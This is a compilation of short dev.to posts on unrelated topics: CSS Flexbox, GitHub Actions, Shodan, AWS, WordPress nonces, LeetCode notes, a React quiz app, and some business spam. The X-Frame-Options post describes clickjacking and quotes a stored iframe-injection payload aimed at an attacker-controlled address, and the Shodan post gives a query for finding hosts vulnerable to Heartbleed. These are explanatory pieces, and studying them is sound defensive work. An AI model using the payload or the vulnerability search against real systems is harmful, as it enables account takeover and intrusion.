teleren/devto huggingface dataset:
Demystifying CSS Flexbox: A Beginner’s Guide to Effortless Layouts
Tags: css, flexbox, webdev, learning
Published: 2023-11-29 23:48:25

So, you’re delving into the world of web development, and someone mentioned CSS Flexbox or you’re already in it looking to enhance your understanding. Fear not! Flexbox might seem complex initially, but it’s a game-changer for creating layouts in CSS. Let’s break it down into digestible bits.

What is Flexbox?
Flexbox is a layout model in CSS that allows you to design flexible and efficient layouts. It’s like having a superpower to arrange elements within a container easily. Think of it as a way to manage space distribution among items in a container, making them behave predictably regardless of screen size or device.

The Flex Container and Items
To use Flexbox, you need a flex container and its child elements, called flex items. The magic happens when you apply the display: flex; property to the container:

.container {
display: flex;
}

Now, elements inside .container become flex items, ready to be flexed!

Flex Direction
By default, flex containers have a row layout, aligning items horizontally. However, you can change this using the flex-direction property. Options include:

row: Items are arranged horizontally (default).
column: Items are stacked vertically.
row-reverse or column-reverse: Reverse order of items.
.container {
display: flex;
flex-direction: column;
}

Justify Content and Align Items
Flexbox offers ways to control how items align along the main and cross axes using justify-content and align-items properties, respectively.

justify-content aligns items along the main axis (horizontal for row and vertical for column).
align-items aligns items along the cross axis.
.container {
display: flex;
justify-content: center; /* Aligns items along the main axis */
align-items: center; /* Aligns items along the cross axis */
}

Flexibility with Flex Grow, Shrink, and Basis
Flex items have three properties that define their behavior within a flex container:

flex-grow: Determines how much a flex item can grow relative to other items.
flex-shrink: Controls if and how much an item will shrink relative to others when there's insufficient space.
flex-basis: Specifies the initial size of an item before the remaining space is distributed.
.flex-item {
flex: 1 0 auto; /* flex-grow | flex-shrink | flex-basis */
}

Wrapping Up
Mastering Flexbox opens doors to creating versatile and responsive layouts effortlessly. This beginner’s guide just scratches the surface, but with practice and exploration, you’ll soon wield Flexbox like a pro.

Remember, experimenting with different properties and values is key to grasping Flexbox’s full potential. So, dive in, play around, and let your creativity flow!

Until next time, happy flexing!

Dev Kariuki
X-Frame-Options header explained
Tags: webdev, web, headers, security
Published: 2023-11-29 23:40:58

X-Frame-Options is one of the HTTP headers that is added by the web server when responding to a user request.

The header can take one of two values - DENY or SAMEORIGIN. If X-Frame-Options is not defined, the result is that our page can be rendered in frame, iframe, embed or object tags.

## Possibilities to use the lack of a header

Due to the lack of a header and the possibility of embedding the page on other sites, users are vulnerable to click-jacking attacks. This is a technique where users click on elements that are not visible to them. An example scenario might look like the following:

1. a user gets a link in his email inbox stating that unfavorable photos of him have been shared online on a specified site
2. the unaware target clicks on the suspicious link
3. the page asks if his email is: <victim@gmail.com>
4. the user confirms the whole thing with the "yes" button

At this point, there is an invisible element in place of the button, which, when clicked, activates javascript, further sharing the false message on Facebook. This is one of many ways to take advantage of the lack of a header.

## More examples?

In one of his [posts](https://github.com/asurti6783/writeups/blob/main/bug.md), user asurti6783 describes how it was possible to take over a user's account. In a nutshell:

Pentester found a bug that when a user entered two consecutive links, a prepared script was called. Since it is unlikely that a user would enter the first link first and then swap the URI for the second, he looked for an alternative. It noticed that the X-Frame-Options header was missing. He then prepared a script that, upon entering the attacker's site, would load the page in the background and then switch from the first link to the second. This way it would be able to take over, for example, the user's cookies if he was only logged in.

Still not enough? [Here](https://medium.com/@irounakdhadiwal999/stored-iframe-injection-csrf-account-takeover-42c93ad13f5d), a user presented a potential attack on users browsing the forum with the following payload, inserted in subsequent posts.

```
<iframe src=http://x.x.x.x/index.html”></iframe>
```

The scenario was that when a user accesses a post, the above code loads the content from the page with the "src" attribute, and then a script is called on the attacker's page, ultimately intended to take over the user's account.

## Sources

<https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options>\
<https://github.com/asurti6783/writeups/blob/main/bug.md>\
<https://medium.com/@irounakdhadiwal999/stored-iframe-injection-csrf-account-takeover-42c93ad13f5d>
🐙 ✅ GitHub Actions workflows: How to replace YAML with a visual editor
Tags: githubactions, github, cicd, tutorial
Published: 2023-11-29 23:36:15

Hey folks! 👋

In this blog post I would like to talk about GitHub Actions workflows and how I believe they could become much better. Over the last few years I have worked with many repos and I noted how much time I spent on creating and modifying YAML files for GitHub workflows, rather than working on the actual project.

So in true developer fashion, I am working on a solution called [Actionforge](https://www.actionforge.dev). Below is a short dive into what I am aiming to solve and how.

## What is Actionforge?

Using Actionforge, you can visually create and modify your workflow within a user-friendly editor in VS Code. Each node of your graph represents a GitHub Action. Together, they form what I call an 'Action Graph'. Check out an example [here](https://www.actionforge.dev/github/actionforge/playground/main/.github/workflows/graphs/build-and-publish.yml).

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/i6eu3c23qvtza34mv7qu.jpg)

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bfxmrxnaifajkoqjy8bz.jpg)

Once your action graph is ready, you can commit it to your repository.

## How to execute an Action Graph as a GitHub workflow?

To execute an action graph as your workflow, you simply create a simple GitHub workflow that includes a single step with the actionforge/action. Then you point to the Action Graph file you want to run. After this setup, you can edit your graph from the Actionforge UI.

Here is a simple example to execute an Action Graph:

```yaml
# Beginning of your workflow.yml
jobs:
  run-graph:
    - name: Build and deploy my app
    uses: actionforge/action@0.45.3
    with: 
      graph_file: ./github/workflows/graphs/my-graph.yml
# End
```

## The Linear Limitation

Traditional GitHub workflows follow a linear execution order from top to bottom, which can be restrictive. In contrast, Actionforge's Action Graphs enable more complex and versatile node setups with different flow like if-conditions, for-loops, switches and more.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4rudyh1fu28cq1jk57rz.jpg)

## Executing Action Graphs directly on your GH Runners

Actionforge does not depend on external cloud services. `actionforge/action` serves as an interpreter, converting your visually designed graph into a sequence of GitHub Action nodes that execute as usual on your designated GitHub runners.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/i200cp603ywyhbnn6agw.png)

All repositories will be made public in December. I would love to hear your story. Share your GitHub Actions workflow challenges. Check out [Actionforge] (https://www.actionforge.dev).

Thanks for reading ❤️
I need help for robust and efficient automation process for synchronizing files and domains across my network
Published: 2023-11-29 23:33:58

Infrastructure and Environment:

How would I recommend structuring the synchronization process for 100 PCs across two domains in a Windows Server 2012 environment?

Are there any specific considerations or best practices for syncing files and domains in a multi-domain setup?

File Synchronization Tools:

What file synchronization tools or methods would you recommend for automating the synchronization process between PCs in this environment?

Are there any tools that are particularly well-suited for syncing files in a Windows Server 2012 environment?

Authentication and Permissions:

How should I handle authentication and permissions when automating file synchronization across two domains? Are there any security considerations to keep in mind?

What strategies can be employed to ensure that the synchronization process doesn't compromise security, especially when dealing with sensitive files?

Scripting and Automation:

What scripting languages or automation tools would you recommend for implementing the synchronization process?

Are there specific scripts or automation workflows that can help streamline the synchronization of files and domains across multiple PCs?

Conflict Resolution:

How can I manage and resolve conflicts that may arise during the synchronization process, especially when dealing with files that are simultaneously modified on different PCs?

Are there automated conflict resolution strategies or tools that we should implement?

Monitoring and Logging:

What methods or tools can be used to monitor the synchronization process in real-time?

How should we set up logging and reporting to track synchronization activities and identify any issues promptly?

Scalability:

How scalable are the recommended synchronization methods for a network with 100 PCs? Are there any limitations we should be aware of?

Are there considerations for future growth, and how can we ensure that the synchronization process remains efficient as the network expands?

Integration with Active Directory:

How can I leverage Active Directory services to enhance the automation of synchronization processes across the two domains?

Are there any specific AD features that can be utilized to streamline user and group management during synchronization?

Backup and Recovery:

What strategies would you recommend for backing up files and configurations related to the synchronization process?

In the event of a failure or data loss, what recovery mechanisms can be implemented to minimize downtime?

Testing and Rollback:

What testing procedures should be implemented before deploying any changes to the synchronization process across the network?

Are there recommended rollback strategies in case any issues arise during or after the implementation of automated synchronization?

Manual Doing Syn. check and I now looking forward to automating this process.
Checking network devices in Shodan search engine
Tags: shodan, network, networking, searchengine
Published: 2023-11-29 23:33:34

Before we get into the tool itself, we need to bring some theory to mind. There are two types of reconnaissance — passive and active.

Passive reconnaissance means collecting information about devices from sources publicly available on the Internet. For example, getting information about a server, we do not interact with it directly, which would be, for example, connecting to it.

Active reconnaissance means direct contact with the device. So we need, for example, to send a packet to it. Tools that use active reconnaissance are nmap and WPrecon.

### Device search engine

Using Google or Yahoo, not everything can be found. We can [filter]([https://ahrefs.com/blog/google-advanced-search-operators/](https://ahrefs.com/blog/google-advanced-search-operators/)) our queries, but it is of little use. Shodan is just such a search engine that focuses on IoT. What can we find in it? Any networked device, including scanners, servers, and cameras, among others. If the device is connected to the Internet, Shodan’s algorithm queries it from publicly available information. This allows us to obtain such information as server software, supported services, or other information useful in collecting information about the target.

![Shodan 1](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/x1vqnb2xkhv0sb6ijyh9.png)

## Filtering results

Shodan provides the ability to filter IoT devices. You will find a few example below. For all of them, we refer you to [here]([https://beta.shodan.io/search/filters](https://beta.shodan.io/search/filters)).

Pages that use bootstrap: `http.component:bootstrap`.\
Pages that used the word “Apache” in the html code: `http.html:Apache`.\
Sites vulnerable to CVE-2014–0160: `vuln:CVE-2014–0160`\\\
Sites supporting TLS 1.3: `ssl.version:tlsv1.3 HTTP`.\
Sites requiring HTTPS connection: `HTTP Strict-Transport-Security`.

## Additional Materials

For those who have a free evening, at [this]([https://2000.shodan.io/#/](https://2000.shodan.io/#/)) link you can look at random images taken straight from the search engine to the rhythm of retro music 🙂

![Shodan 2](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qju4qklb8gqr32ycj8z7.png)

On [repository](https://github.com/intrackeable/Deep-Inside?fbclid=IwAR3ASOz4Km8OZFFJkW6vKzKbeJDcJAmMK742J45W9Oadv9h6kUiXsiXAPag) you will find a tool that allows you to use the Shodan search engine via the command line. For extended use, you'll need an API key.

And for those of you with an insufficiency, a handful of readings for the evening:

<https://sekurak.pl/censys-nowa-wyszukiwarka-do-zadan-specjalnych/>
<https://www.safetydetectives.com/blog/what-is-shodan-and-how-to-use-it-most-effectively/>

If our article hasn't convinced you of Shodan, take a look at [Censys](https://censys.io/) and [ZoomEye](https://www.zoomeye.org/).

## Sources

<https://help.shodan.io/>
<https://www.safetydetectives.com/blog/what-is-shodan-and-how-to-use-it-most-effectively/>
<https://beta.shodan.io/search/examples>
The Cost Optimization Hub is now available to all customers at no extra cost.
Tags: aws, awsreinvent, awscommunitybuilder
Published: 2023-11-29 23:28:33

🎉 The Cost Optimization Hub is now available to all customers at no extra cost.

**Cost Optimization Hub**, a new AWS Billing and Cost Management feature that makes it easy for you to identify, filter, aggregate, and quantify savings for AWS cost optimization recommendations.

🚀 With this amazing new capability, you can now effortlessly discover cost optimization recommendations across all AWS Regions. 

💲 Say goodbye to wasted resources and hello to substantial savings! The Cost Optimization Hub lets you interactively explore recommendations, such as identifying idle resources, right-sizing your resources, and finding the best purchasing options. 

✨ The most exciting part? No tedious data aggregation and processing required. You can instantly see how much you'll save by implementing these recommendations and easily compare and prioritize them based on the potential savings.

https://lnkd.in/dPcQeRyj

Amazon Web Services (AWS)
#AWS #AWSreInvent  #awsreinvent2023 #awscommunitybuilders #awscommunity #OptimizationHub #CostOptimization


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0wxzw6emc6h9lnqzdoas.png)


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/t2sv5p5pbcvxjbiyjn1y.png)
What is a WordPress Nonce? And how to use it.
Tags: wordpress
Published: 2023-11-29 23:26:00

> A _nonce_ by definition is something that is used only once and without recurrence. In a WordPress website, **nonces** are used to validate the contents of a form and avoid malicious activity. More specifically, a nonce protects your website from Cross-Site Request Forgeries (CSRFs) attacks.

- source: this [blog article](https://pressidium.com/blog/nonces-in-wordpress-all-you-need-to-know/)

## How to use a nonce in WordPress

In _functions.php_, in your function that loads scripts and css files, you can create a nonce property inside a WordPress function called `wp_localize_script()`. See example below:

```php
wp_localize_script('my-website-files', 'someSiteData', array(
  'nonce' => wp_create_nonce('wp_rest')
));
```

If you view your web page source, you can find a key-value that looks similar to: `var someSiteData = {"nonce": "15e935b62e"}`

You can use that generated hash as a property in an AJAX request, as shown below: 

```js
// jQuery
$.ajax({
  beforeSend: (xhr) => {
    xhr.setRequestHeader('X-WP-Nonce', someSiteData.nonce);
  }
})
```
Elevate Your Space with Aluminum Blinds
Published: 2023-11-29 23:20:13


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qc8166segxxc65ztl9rx.jpg)

Our **[aluminum blinds](https://thewindowblindconnection.com/products/aluminum-blinds/)** are the epitome of contemporary style, offering a sleek and modern appearance that instantly elevates the ambiance of any space. With a diverse array of colors to choose from, they can complement a wide range of decor in both commercial and residential settings. You have the flexibility to select between corded or cordless designs, and our blinds come with customizable options to cater to your specific needs and preferences. Experience the perfect blend of aesthetics and functionality with our aluminum blinds, creating a striking and personalized impression in any setting.

Call us today

at (800) 479–6300 or Visit our Website for more information

[https://thewindowblindconnection.com/](https://thewindowblindconnection.com/)
[https://window-blind-connection.business.site/](https://window-blind-connection.business.site/)
Smog All Cars: Quick and Reliable Smog Tests for Your Peace of Mind
Published: 2023-11-29 22:39:12

Smog All Cars is the ultimate solution for all your [smog test](https://smogallcarscanogapark.com/smog-test/) needs. Our state-of-the-art facility offers fast and reliable smog tests that will get you back out on the road quickly. Our technicians are highly trained and experienced, ensuring you receive a high quality service every time. Stop by Smog All Cars today and get the assurance that your vehicle is properly maintained and safe to drive.

Smog All Cars

7107 Canoga Ave, Canoga Park, CA 91303

Call us at (818)883–9605
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2e674cfmb2w91w5sfwzy.jpg)

[smogallcarscanogapark.com](https://smogallcarscanogapark.com/)

[https://goo.gl/maps/M34KfkrEbRt3ysv7A](https://goo.gl/maps/M34KfkrEbRt3ysv7A)
SELECT DISTINCT
Tags: sql
Published: 2023-11-29 22:31:10

From Leetcode  [Recyclable and Low Fat Products
](https://leetcode.com/problems/recyclable-and-low-fat-products/?envType=study-plan-v2&envId=top-sql-50)

I used SQL statement with C# and CSOM library  but I have not used to SQL coding test so now I am practicing SQL coding test.

yesterday I learned SELECT DISTINCT statement. This statement can be used to pickup designated word like this.

```
SELECT DISTINCT product_id
From Products
  WHERE
  low_fats = 'Y' AND
  recyclable = 'Y';
```
It's very useful.

[SQL SELECT DISTINCT](https://www.w3schools.com/sql/sql_ref_select_distinct.asp)
Binary Search
Tags: algorithms
Published: 2023-11-29 22:25:32


[Binary Search
](https://leetcode.com/problems/binary-search/?envType=study-plan-v2&envId=binary-search)

The code I wrote.

```
class Solution:
    def search(self, nums: List[int], target: int) -> int:
        result = count(nums)
        return  result
```

Checked by AI.
```

class Solution:
    def search(self, nums: List[int], target: int) -> int:
        result = nums.count(target)
        return result
```

 I realized that I should write like this.
` result = nums.count(target)`

I could not pass the coding test so I asked AI again to check.

```
class Solution:
    def search(self, nums: List[int], target: int) -> int:
        try:
            result = nums.index(target)
            return result
        except ValueError:
            return -1
```
I needed exception.

`        except ValueError:
            return -1`

Question;User
what is the difference between  nums.index(target) and nums.count(target)


Answer from ChatGPT

> Let's use the list [-1, 0, 3, 5, 9, 12] and demonstrate the use of both nums.index(target) and nums.count(target) with this specific list:
```
nums = [-1, 0, 3, 5, 9, 12]
target = 9

# Using nums.index(target)
try:
    index = nums.index(target)
    print(f"The target {target} is at index {index}.")
except ValueError:
    print(f"The target {target} is not in the list.")

# Using nums.count(target)
count = nums.count(target)
print(f"The target {target} appears {count} times in the list.")

```
Output:

perl
```
The target 9 is at index 4.
The target 9 appears 1 times in the list.
```

> In this example, nums.index(target) returns the index of the first occurrence of 9, which is 4. nums.count(target) returns the number of occurrences of 9, which is 1. Both methods are used to gather information about the presence and location of the target value in the list.


So I should use "index" to count index number for this test. 

>  nums.count(target) returns the number of occurrences of 9,

I could not write this "Try Except" so I need to practice this also.
[Python Try Except](https://www.w3schools.com/python/python_try_except.asp#:~:text=The%20try%20block%20lets%20you,the%20try%2D%20and%20except%20blocks.)
Project Blog: Building a Quiz App with React
Tags: react, opensource, programming, github
Published: 2023-11-29 22:18:46

Overview

I'll go through the steps involved in creating a quiz app with React in this blog article. The project include developing a number of components, putting routing into place, managing user authentication, and improving the user interface.

Establishing the Project's Structure

I began by arranging the pages, other assets, and components in the project's structure. To make development easier, a clear, scalable framework was intended.

React Router Integration

I used react-router-dom to enable navigating throughout the app and created routes for various pages. The home page, quizzes, about, contact, help, and error pages all needed to have routes created.

Establishing the Layout Component

The programm as a whole is wrapped in the Layout component. It has a loading screen and contains the content area, footer, and navigation bar.

Component of Navbar

The purpose of the Navbar component was to make navigating the app simple. It has dropdown menus for user authentication with the Login component and connections to other pages.

Component of User Authentication Login

User authentication is handled via the Login component. It offers a straightforward login/logout process and stores user credentials in local storage. When the user logs in, the component also has a dynamic welcome message.

Establishing the Layout Component

The programme as a whole is wrapped in the Layout component. It has a loading screen and contains the content area, footer, and navigation bar.

Component of Navbar

The purpose of the Navbar component was to make navigating the app simple. It has dropdown menus for user authentication with the Login component and connections to other pages.

Component of User Authentication Login

User authentication is handled via the Login component. It offers a straightforward login/logout process and stores user credentials in local storage. When the user logs in, the component also has a dynamic welcome message.

In summary

Using React to build the Quiz App was a rewarding experience. It required creating components, integrating different libraries, and making sure the user experience was flawless. My abilities in state management, UI design, and React development have all improved as a result of this project.